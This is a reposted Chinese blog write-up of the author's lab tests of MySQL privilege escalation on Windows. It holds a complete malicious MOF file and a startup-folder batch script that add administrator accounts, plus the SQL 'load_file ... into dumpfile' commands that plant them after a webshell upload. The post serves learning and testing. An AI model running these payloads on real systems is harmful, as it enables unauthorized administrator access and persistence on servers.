MySQL数据库提权学习
Posted Goodric
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL数据库提权学习相关的知识,希望对你有一定的参考价值。
mysql数据库提权学习
——
之前测试过MySQL的udf提权方式,现在对MySQL的其它两种方式进行测试与学习。
MySQL数据库UDF提权:
https://blog.csdn.net/Goodric/article/details/125916936?spm=1001.2014.3001.5501
——
——
mof提权
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
在mysql的root权限下,使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
影响: windows server2008以下的版本
——
先创建一个 .mof文件,通过webshell或上传漏洞上传到目标机器的可读写的目录。
#pragma namespace("\\\\\\\\.\\\\root\\\\subscription")
instance of __EventFilter as $EventFilter
EventNamespace = "Root\\\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \\"Win32_LocalTime\\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
;
instance of ActiveScriptEventConsumer as $Consumer
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\\"WScript.Shell\\")\\nWSH.run(\\"net.exe user admin admin123!@# /add\\")";
;
instance of __FilterToConsumerBinding
Consumer = $Consumer;
Filter = $EventFilter;
;
这里通过webshell上传到网站根目录。
然后通过数据库语句导入到mof文件夹中。
select load_file(‘C:/phpstudy_pro/WWW/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
可以看到成功导入到了mof文件夹中
过一会里面的语句就会被执行,然后文件应该会自动放在上图中good文件夹中。
——
——
启动项提权
原理:
向 启动项目录导入自定义bat或vbs文件,
重启服务器则会自动调用导入到启动项目录下的下的VBS或bat脚本,并执行其中的用户添加及提权命令。
条件
启动项目录可读写,直接将提权脚本上传到该目录下
root账号登陆MySQL
测试:
创建 .bat 文件,文件内容:
@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
net user test test123! /add
其中这些内容的作用是以管理员权限执行这个bat文件。(不然cmd命令行可能会回显拒绝访问)
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
这个就是我们想要执行的cmd命令创建用户了。(当前可能只有网站的权限,通过这里可以执行管理员可执行的命令)
net user test test123! /add
通过webshell等方式先把文件放入目标机的可读写目录。
然后通过sql语句导入到启动项目录。
select load_file('C:\\\\phpstudy_pro\\\\WWW\\\\add.bat') into dumpfile 'C:\\\\Users\\\\goodric\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\add.bat';
——
可以看到成功导入到启动项目录。
如果启动项的目录不好找,可以在开始-所有程序-启动-打开查看这个文件夹。
然后重启就会自动执行这个.bat文件。不够也会存在一个问题,如果以管理员执行这个文件的话,可能会弹这个窗口(目标机器可以设置不弹出),不知道有没有其它方法可以以管理员方式执行且不执行的。
以上是关于MySQL数据库提权学习的主要内容,如果未能解决你的问题,请参考以下文章